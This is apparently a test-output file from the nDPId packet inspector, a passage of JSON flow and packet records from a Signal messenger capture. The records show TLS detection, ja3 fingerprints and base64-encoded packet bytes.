+00596{"flow_id":14,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":448809,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"xiwDYGpkxGGLNYKpCABFAACyAABAAEAGULzAqAIRI6kDKN7AAbuO10ZjRcpVPIAYBAAVcQAAAQEICihVk7NkFUB4FgMDAEYQAABCQQRCQCG4hb4hCmPRID9O1t1wEiiIrckGzSiTI9FC7ju2Ke08GnY+2KxGtygeyDWUto1XM5FVXBpdWFOAN4fuT697FAMDAAEBFgMDACgAAAAAAAAAAPoon4+X+PoxmW+fSw64rgWVo\/YHcdTitcIZ1i3Oxg8m"} +00425{"flow_id":10,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":500406,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0lEoAAO4GTu8jqQMowKgCEQG7wEvNn93HBdFm2YAQAG5WyQAAAQEICmQVQJgoVY7g"} +00498{"flow_id":10,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":501481,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xiwDYGpkxGGLNYKpCABFAABnAABAAEAGUQfAqAIRI6kDKMBLAbsF0WbZzZ\/dx4AYCAA4\/gAAAQEICihVj3pkFUCYFAMDAAEBFgMDACjiya5yB8bzgMxtpDZMPgfLCyZ99YOOlz4gAQ7ZaltGbM\/yoD9lgrJL"} +00495{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":551107,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAABnYbEAAO4GgVUjqQMowKgCEQG73r+o1iuH6c+WzYAYAG6ZYAAAAQEICmQVQKUoVZOvFAMDAAEBFgMDACgrAH9kEyeRf2QftppOVu8koxSwLNhHThtYdnHun4G0DBQQj2Zydpg+"} +00524{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":259,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":551142,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xGGLNYKpxiwDYGpkCABFAAB5YbIAAO4GgUIjqQMowKgCEQG73r+o1iu66c+WzYAYAG73kAAAAQEICmQVQKUoVZOvFwMDAEArAH9kEyeRgJJd3rMHyX01xQY2PB+rkr4EUb\/iTdLA7RbPnyrAW\/Rbufp6RvQZE8njRQP4jC\/t\/ycynaVGxqIG"} +00428{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":552521,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKN6\/Abvpz5bNqNYruoAQA\/\/yYAAAAQEICihVlBpkFUCl"} +00501{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":553629,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"xiwDYGpkxGGLNYKpCABFAABpAABAAEAGUQXAqAIRI6kDKN6\/Abvpz5bNqNYruoAYBADVGwAAAQEICihVlBtkFUClFwMDADAAAAAAAAAAAU8MdhigXfH5sFm3\/f4t2mvIHYOCIjpreqpy63kBgoYz+FJhUp1efGk="} +00496{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":553686,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"xiwDYGpkxGGLNYKpCABFAABmAABAAEAGUQjAqAIRI6kDKN6\/Abvpz5cCqNYruoAYBACOsQAAAQEICihVlBtkFUClFwMDAC0AAAAAAAAAAv3vsv+XjTKEV9Zrz5YY6MKRYtTOwW2zRjoCytTfR0TSrXAUT7g="} +00484{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":554063,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"xiwDYGpkxGGLNYKpCABFAABeAABAAEAGURDAqAIRI6kDKN6\/Abvpz5c0qNYruoAYBACM3wAAAQEICihVlBtkFUClFwMDACUAAAAAAAAAA9pz00Vbc+QMPhdVtPAOlNLde7T8EVpndxCfTlJz"} +00497{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":558170,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAABnjjQAAO4GVNIjqQMowKgCEQG73sEV2df0mCCOEIAYAG7lmgAAAQEICmQVQKYoVZOzFAMDAAEBFgMDACgGxBGcuocgeky4jEAlwUHuaVwtgPY+BhY+e\/LLa7akJla5\/xQlvSQN"} +00522{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":558182,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xGGLNYKpxiwDYGpkCABFAAB5jjUAAO4GVL8jqQMowKgCEQG73sEV2dgnmCCOEIAYAG577wAAAQEICmQVQKYoVZOzFwMDAEAGxBGcuocge\/xd1dfes7kmqjYjiOIbBJDmLaP+v9vvdkm1D18SXs22zTRvE6lqqR3ftMEUXph\/bPyBxIPl4tlS"} +00426{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":559117,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKN7BAbuYII4QFdnYJ4AQA\/8zVAAAAQEICihVlCBkFUCm"} +00498{"flow_id":14,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":560056,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAABnC\/wAAO4G1wojqQMowKgCEQG73sBFylU8jtdG4YAYAG5RSwAAAQEICmQVQKcoVZOzFAMDAAEBFgMDAChYKi43nl\/rF1QxYcfrhLutr48fDagIfMLktEcK2WfU9k7quQ83\/ryt"} +00499{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":560260,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"xiwDYGpkxGGLNYKpCABFAABpAABAAEAGUQXAqAIRI6kDKN7BAbuYII4QFdnYJ4AYBADOmgAAAQEICihVlCBkFUCmFwMDADAAAAAAAAAAASRmjam7pY23lezk2JI3t7RFuK6thWWbVzf4ECOnbVvexDBfEZgcnBE="} +00496{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":272,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":560281,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"xiwDYGpkxGGLNYKpCABFAABmAABAAEAGUQjAqAIRI6kDKN7BAbuYII5FFdnYJ4AYBABogQAAAQEICihVlCFkFUCmFwMDAC0AAAAAAAAAAsy\/6ydz+qVrRk5kCxjiPzqmCcsmDMYlvj1+J0vThi5EM0h6K9M="} +00485{"flow_id":15,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":560341,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"xiwDYGpkxGGLNYKpCABFAABeAABAAEAGURDAqAIRI6kDKN7BAbuYII53FdnYJ4AYBADoSQAAAQEICihVlCFkFUCmFwMDACUAAAAAAAAAA3OeHt+da\/II3iBHZuZk+ovBbTOKShWlEMbTWaw\/"} +00523{"flow_id":14,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":560408,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xGGLNYKpxiwDYGpkCABFAAB5C\/0AAO4G1vcjqQMowKgCEQG73sBFylVvjtdG4YAYAG6\/JwAAAQEICmQVQKcoVZOzFwMDAEBYKi43nl\/rGAGRhB7F5kbCjk5ZbkBzHyNZjvDhnYddI8aXxeL+H2lEBXIs7XxhirAF5baWhzg6ktDFMPAnrBYn"} +00427{"flow_id":14,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":561504,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKN7AAbuO10bhRcpVb4AQA\/\/WkQAAAQEICihVlCJkFUCn"} +00501{"flow_id":14,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":562462,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"xiwDYGpkxGGLNYKpCABFAABpAABAAEAGUQXAqAIRI6kDKN7AAbuO10bhRcpVb4AYBAAHHAAAAQEICihVlCJkFUCnFwMDADAAAAAAAAAAAe9uU9NJBOutTb5b37\/VUKwqrW8aVw6Hni\/HtOLqD1RY8FqR0PgG7LY="} +00496{"flow_id":14,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":562480,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"xiwDYGpkxGGLNYKpCABFAABmAABAAEAGUQjAqAIRI6kDKN7AAbuO10cWRcpVb4AYBABikAAAAQEICihVlCNkFUCnFwMDAC0AAAAAAAAAAlKsKco8AfH2mYY1+L6\/iZCJrU603A5xm2yld+z9nDYwLkIJP1U="} +00484{"flow_id":14,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":562606,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"xiwDYGpkxGGLNYKpCABFAABeAABAAEAGURDAqAIRI6kDKN7AAbuO10dIRcpVb4AYBAC7dAAAAQEICihVlCNkFUCnFwMDACUAAAAAAAAAA9Sf0UZDz\/KDl8oEdFGvdo5lEt5wxH8cGwfdeiaY"} +00425{"flow_id":10,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":612167,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0lEsAAO4GTu4jqQMowKgCEQG7wEvNn93HBdFnDIAQAG5V4QAAAQEICmQVQLMoVY96"} +00495{"flow_id":10,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":612194,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAABnlEwAAO4GTrojqQMowKgCEQG7wEvNn93HBdFnDIAYAG79pgAAAQEICmQVQLMoVY96FAMDAAEBFgMDACghB2eB771eibt8xLtm+J2t7+E+Go+xRzU2K1+SjRStFAm8+4PYN+oO"} +00427{"flow_id":10,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":613233,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKMBLAbsF0WcMzZ\/d+oAQB\/9NrgAAAQEICihVj+lkFUCz"} +01024{"flow_id":10,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":618382,"pkt_caplen":502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":502,"pkt_l4_len":468,"pkt":"xiwDYGpkxGGLNYKpCABFAAHoAABAAEAGT4bAqAIRI6kDKMBLAbsF0WcMzZ\/d+oAYCAA5lQAAAQEICihVj+5kFUCzFwMDAa\/iya5yB8bzgW\/94EWBybAN1ddr\/7WES71\/jCNrzr0FH6q3aJgiy2IfbVQ44mNUDuV7iwXfQaVyuha4zq\/e25UJAkYI6uwvJW+LQUJOd\/v2pq4epMncCGs1ajyZ67Vbew3Gju79DKmvIgpzrv06tpzp7E+daDpbAgsRXv1PvYB\/FN74Ftsu2gPWO2zYBb90gDVSCHkAwtqsoSTg69ARb40jlSYAJQF9HDPxTIqf4gt2uiWWzmUycb5euj7T7WgTLXLwDmYJHFppQPto0FGFG9BrQFaBno6edoJ4ZZYbmgmCI6OtD0GHWkskfQZhfwrsUzWPmO5qfo43cPVVETruvNJsyVcXD6n0czHhT7UwRmyg6zBqDWNzN\/h1bEUhVfJhYtX8WCaf549D\/dTHDX2BfqeRXKa5V2eyZvPUwi+yN1ySsIc4MyJocwaErEj2YimlmKxRE0QEqNIPIC93m8NDcqvoi5o6SIIYS17NLE64lMx7oF3ydL1W4RfeDQ2\/3Rg+xuSfCV0aYKxXY4lk9QxVG4IimVa1gUP0VKmYu8mxI1D\/pOR8FY9SS7tpsmHRTOxgJg=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":295,"source":"signal.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1569051264666,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57026,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":666082,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGUS7AqAIRI6kDKN7CAbvJrSrvAAAAALAC\/\/+7dwAAAgQFtAEDAwcBAQgKKFWUiQAAAAAEAgAA"} +00436{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":319,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":775024,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAO4G4zEjqQMowKgCEQG73sL5Zid4ya0q8KASaN+dwQAAAgQFrAQCCApkFUDdKFWUiQEDAwg="} +00424{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":320,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":776703,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKN7CAbvJrSrw+WYneYAQBAsw7wAAAQEICihVlPVkFUDd"} +01121{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":321,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":776825,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAAI5AABAAEAGTzXAqAIRI6kDKN7CAbvJrSrw+WYneYAYBAsKOgAAAQEICihVlPVkFUDdFgMBAgABAAH8AwPqnmHY+ky08QaEFpsYq0FGVLaxG+964Hq2icanaO7xlCBmz3takGKujlgk83\/DuHgM2oWMrAxFhkG7HMIkIEBMvgAiEwETAxMCwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqAEAAZH\/AQABAAAAACoAKAAAJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcAFwAAAA0AGAAWBAMIBAQBBQMCAwgFCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAAMwAmACQAHQAg5cIrTlOOMEP5oixl5QwpN10lLFAYbdhRGOo98Zyw2T4ALQACAQEAKwAFBAMEAwMACgAKAAgAHQAXABgAGQAVAM4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":321,"source":"signal.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":4,"flow_first_seen":1569051264666,"flow_last_seen":1569051264776,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57026,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00424{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":885425,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0Z4EAAO4Ge7gjqQMowKgCEQG73sL5Zid5ya0s9YAQAG4ybAAAAQEICmQVQPgoVZT1"} +02356{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":323,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":887563,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUZ4IAAO4GdhcjqQMowKgCEQG73sL5Zid5ya0s9YAQAG6wegAAAQEICmQVQPkoVZT1FgMDAGICAABeAwNPU1nCJ97Zo6Vjasw21LYJzTX3WgHniE2ZiBvYvvO2+CByOmROZ9S278p7di5l5CKU0oCAaeZpNl0SjO6ZatfZM8AvAAAW\/wEAAQAACwAEAwABAgAQAAUAAwJoMhYDAwfnCwAH4wAH4AAD5zCCA+MwggLLoAMCAQICAhAYMA0GCSqGSIb3DQEBCwUAMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMB4XDTE5MDIxNTE3MzgxN1oXDTI5MDMxMjE4MjAyMFowgZAxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMR0wGwYDVQQKDBRPcGVuIFdoaXNwZXIgU3lzdGVtczEdMBsGA1UECwwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxLjAsBgNVBAMMJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsyBG10UW3wKLLz5OJmoB1s7B4cDs7uzp+xAOMcalYh2zeKMeI5eS4fZrup1VtHgb8XPc0CjxtIo4ECTf0led4xcI6qra+CWE7B8yrOm4B5WB+rFt1x8Xj4+SRSkkl1mO5SjQElZeSpEpoWomCLRDxMb0qDwfWzcLqYsWeQHtIiBPzWEAOsmV6UE2NHQVNJdatKUHl8y16oCXrU4c0l6+o+bKDTtiskaDATWyONnz1GL1kQjlH8lDSNn296rLmQ\/kEO2CsZeYYAwVPKDQjTfNLDVo4YeZxRDlho+ZcZdamE5Kd7FiSRmA+nLkAydQ60ijWw1Fp7JSHvsL2X08ffpJtAgMBAAGjSDBGMEQGA1UdEQQ9MDuCJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmeCEnNlcnZpY2Uuc2lnbmFsLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEAKWsuR7z3DD\/hxNr0t1jsS\/8oBtaP6uM3Dv1WDnwO6tsohTdhQxfJRHMBKnAzAM9voRiv314toGiGKun6d3y\/TrcyK15lDQgdiPT6biOI4+sVLREXnDl0mhxNgt0yN7ewiHL4WxlNTqyYgy21RRxPEQHrbCScndmFrswcHfVN6FkuGTc45cEC0zoiaaAKUipjJUOjlX4Ha+q0UyNaHMPquP8A8XGBIYi6DJY8uNgP1q8F88lDA5HALWR045FALki4r5+N+Jy3GF2pTFCFvLEDS5LCk6lR9ujCktrdh0VbOHMA35rRs5lki24EQZf\/DqrquVyyzRFCDN9TVXAVBaSoSQAD8zCCA+8wggLXoAMCAQICCQCJui2rSuTzYjANBgkqhkiG9w0BAQUFADCBjTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xHTAbBgNVBAoMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMR0wGwYDVQQLDBRPcGVuIFdoaXNwZXIgU3lzdGVtczETMBEGA1UEAwwKVGV4dFNlY3VyZTAeFw0xMzAzMjUyMjE4MzVaFw0yMzAzMjMyMjE4MzVaMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9w"} +00840{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":323,"source":"signal.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":6,"flow_first_seen":1569051264666,"flow_last_seen":1569051264887,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57026,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +01832{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":887591,"pkt_caplen":1104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1104,"pkt_l4_len":1070,"pkt":"xGGLNYKpxiwDYGpkCABFAARCZ4MAAO4Gd6gjqQMowKgCEQG73sL5Zi0Zya0s9YAYAG5bvwAAAQEICmQVQPkoVZT1ZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUlgaTggQxdIuKtneIwF5El1BqW3lroFT0Ao2i+qg\/UAzsXltWn73z6POt4ugq6tSg8R6Qd+hMM1XI8C5BUyDHqO7fbNRUKJQLd5hK1dlNL4nulXrPso+oK0n8cCAwHHbCpiNGtUkAmZa90NbXBwJAChUcWDWsAA8qbOQfmZqnIH+ud010uf9CDz0C6HC5\/Bli8DmDZ2HwbyCygzCLZmU7RG7nHYoMRAP